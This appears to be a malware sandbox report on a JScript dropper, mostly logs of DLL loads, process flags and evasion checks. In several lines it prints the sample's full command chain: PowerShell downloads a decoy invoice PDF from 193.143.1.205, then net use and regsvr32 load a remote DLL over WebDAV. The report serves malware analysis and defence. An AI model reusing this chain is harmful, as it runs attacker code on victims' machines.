Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7130.js.csv");ITextStream.WriteLine(" entry:7171 f:ntvcp");ITextStream.WriteLine(" exec:2 f:ntvcp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2895			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6991			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep count: 2895 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5932	Thread sleep count: 6991 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5796	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5828	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7052	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3164	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000008.00000002.3026841053.00000193B1C2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000003.1839410544.0000022124177000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1840049083.0000022124177000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1839898319.0000022124118000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3027766161.00000193B725C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1391435483975.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
